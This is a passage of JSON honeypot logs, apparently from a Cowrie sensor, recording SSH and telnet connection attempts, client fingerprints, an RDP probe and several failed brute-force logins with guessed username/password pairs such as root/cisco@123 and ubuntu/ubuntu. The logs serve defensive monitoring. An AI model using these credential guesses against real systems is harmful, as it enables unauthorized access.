f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:04.322010Z","src_ip":"43.135.139.74","session":"6dccb862591a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cisco@123","message":"login attempt [root/cisco@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:04.631972Z","src_ip":"43.135.139.74","session":"6dccb862591a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:05.705191Z","src_ip":"43.135.139.74","session":"6dccb862591a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41330,"dst_ip":"10.17.0.5","dst_port":23,"session":"434fba1ca465","protocol":"telnet","message":"New connection: 152.42.224.71:41330 (10.17.0.5:23) [session: 434fba1ca465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:09.433915Z"}
{"eventid":"cowrie.session.closed","duration":58.823761224746704,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:12.256486Z","src_ip":"152.42.224.71","session":"bd212ba9e52a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.629913568496704,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:13.359564Z","src_ip":"152.42.224.71","session":"3f65f67f60f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53039,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bb5619bbbf4","protocol":"ssh","message":"New connection: 152.42.212.128:53039 (159.203.135.109:22) [session: 0bb5619bbbf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:14.853869Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:14.859280Z","src_ip":"152.42.212.128","session":"0bb5619bbbf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:14.863588Z","src_ip":"152.42.212.128","session":"0bb5619bbbf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":38488,"dst_ip":"10.17.0.5","dst_port":22,"session":"abaee7ca97fb","protocol":"ssh","message":"New connection: 165.154.6.86:38488 (10.17.0.5:22) [session: abaee7ca97fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:17.013752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:17.017588Z","src_ip":"165.154.6.86","session":"abaee7ca97fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:17.232748Z","src_ip":"165.154.6.86","session":"abaee7ca97fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd123456","message":"login attempt [root/Dd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:18.129327Z","src_ip":"165.154.6.86","session":"abaee7ca97fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:19.348688Z","src_ip":"165.154.6.86","session":"abaee7ca97fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37484,"dst_ip":"10.17.0.5","dst_port":23,"session":"8995fc9db26b","protocol":"telnet","message":"New connection: 152.42.224.71:37484 (10.17.0.5:23) [session: 8995fc9db26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:22.065672Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":51070,"dst_ip":"10.17.0.5","dst_port":22,"session":"44362a40dddf","protocol":"ssh","message":"New connection: 117.121.214.50:51070 (10.17.0.5:22) [session: 44362a40dddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:28.991263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:28.995574Z","src_ip":"117.121.214.50","session":"44362a40dddf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:29.255736Z","src_ip":"117.121.214.50","session":"44362a40dddf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2056","message":"login attempt [root/2056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:30.325838Z","src_ip":"117.121.214.50","session":"44362a40dddf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:31.591183Z","src_ip":"117.121.214.50","session":"44362a40dddf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.630213260650635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:33.152023Z","src_ip":"152.42.224.71","session":"1f48b5253bff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35082,"dst_ip":"10.17.0.5","dst_port":23,"session":"504361fea43d","protocol":"telnet","message":"New connection: 152.42.224.71:35082 (10.17.0.5:23) [session: 504361fea43d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:35.787012Z"}
{"eventid":"cowrie.session.closed","duration":45.507638454437256,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:38.438894Z","src_ip":"152.42.224.71","session":"b529902cba1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39250,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7fac8238846","protocol":"telnet","message":"New connection: 152.42.224.71:39250 (10.17.0.5:23) [session: c7fac8238846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:41.813341Z"}
{"eventid":"cowrie.session.closed","duration":58.231168031692505,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:46.439806Z","src_ip":"152.42.224.71","session":"db146dce615e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53620,"dst_ip":"10.17.0.5","dst_port":23,"session":"97fdf2f1a15a","protocol":"telnet","message":"New connection: 152.42.224.71:53620 (10.17.0.5:23) [session: 97fdf2f1a15a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:50.315005Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.96.193.72","src_port":37128,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d2763763f35","protocol":"ssh","message":"New connection: 119.96.193.72:37128 (10.17.0.5:22) [session: 8d2763763f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:52.689165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:52.701570Z","src_ip":"119.96.193.72","session":"8d2763763f35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:52.966928Z","src_ip":"119.96.193.72","session":"8d2763763f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00111675262451,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:54.040863Z","src_ip":"152.42.224.71","session":"c81eaf8dbbf4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"333","message":"login attempt [root/333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:55.525729Z","src_ip":"119.96.193.72","session":"8d2763763f35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48156,"dst_ip":"10.17.0.5","dst_port":23,"session":"188f6f3ae843","protocol":"telnet","message":"New connection: 152.42.224.71:48156 (10.17.0.5:23) [session: 188f6f3ae843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:57.899347Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48170,"dst_ip":"10.17.0.5","dst_port":23,"session":"503d10d8a2e1","protocol":"telnet","message":"New connection: 152.42.224.71:48170 (10.17.0.5:23) [session: 503d10d8a2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:58.326638Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48184,"dst_ip":"10.17.0.5","dst_port":23,"session":"84c4d53fb55d","protocol":"telnet","message":"New connection: 152.42.224.71:48184 (10.17.0.5:23) [session: 84c4d53fb55d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:59.705909Z"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":35446,"dst_ip":"10.17.0.5","dst_port":22,"session":"6165e5ee6ce9","protocol":"ssh","message":"New connection: 166.1.144.134:35446 (10.17.0.5:22) [session: 6165e5ee6ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:02.938226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:02.966894Z","src_ip":"166.1.144.134","session":"6165e5ee6ce9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:03.064734Z","src_ip":"166.1.144.134","session":"6165e5ee6ce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"joebob","message":"login attempt [root/joebob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:03.465353Z","src_ip":"166.1.144.134","session":"6165e5ee6ce9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":43316,"dst_ip":"10.17.0.5","dst_port":22,"session":"b95ad89207c3","protocol":"ssh","message":"New connection: 80.94.92.184:43316 (10.17.0.5:22) [session: b95ad89207c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:04.186308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:04.191685Z","src_ip":"80.94.92.184","session":"b95ad89207c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:04.352873Z","src_ip":"80.94.92.184","session":"b95ad89207c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:04.575999Z","src_ip":"166.1.144.134","session":"6165e5ee6ce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:04.735999Z","src_ip":"80.94.92.184","session":"b95ad89207c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.5392382144928,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:05.604790Z","src_ip":"152.42.224.71","session":"8995fc9db26b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:06.511312Z","src_ip":"80.94.92.184","session":"b95ad89207c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55706,"dst_ip":"10.17.0.5","dst_port":23,"session":"5315ed2d8f90","protocol":"telnet","message":"New connection: 152.42.224.71:55706 (10.17.0.5:23) [session: 5315ed2d8f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:12.326874Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":40780,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9eb2a31ce3a","protocol":"ssh","message":"New connection: 165.154.227.158:40780 (10.17.0.5:22) [session: d9eb2a31ce3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:18.448077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:18.457452Z","src_ip":"165.154.227.158","session":"d9eb2a31ce3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:18.675120Z","src_ip":"165.154.227.158","session":"d9eb2a31ce3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":40500,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e8f858e7840","protocol":"ssh","message":"New connection: 52.236.56.129:40500 (10.17.0.5:22) [session: 0e8f858e7840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:19.344527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:19.349441Z","src_ip":"52.236.56.129","session":"0e8f858e7840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.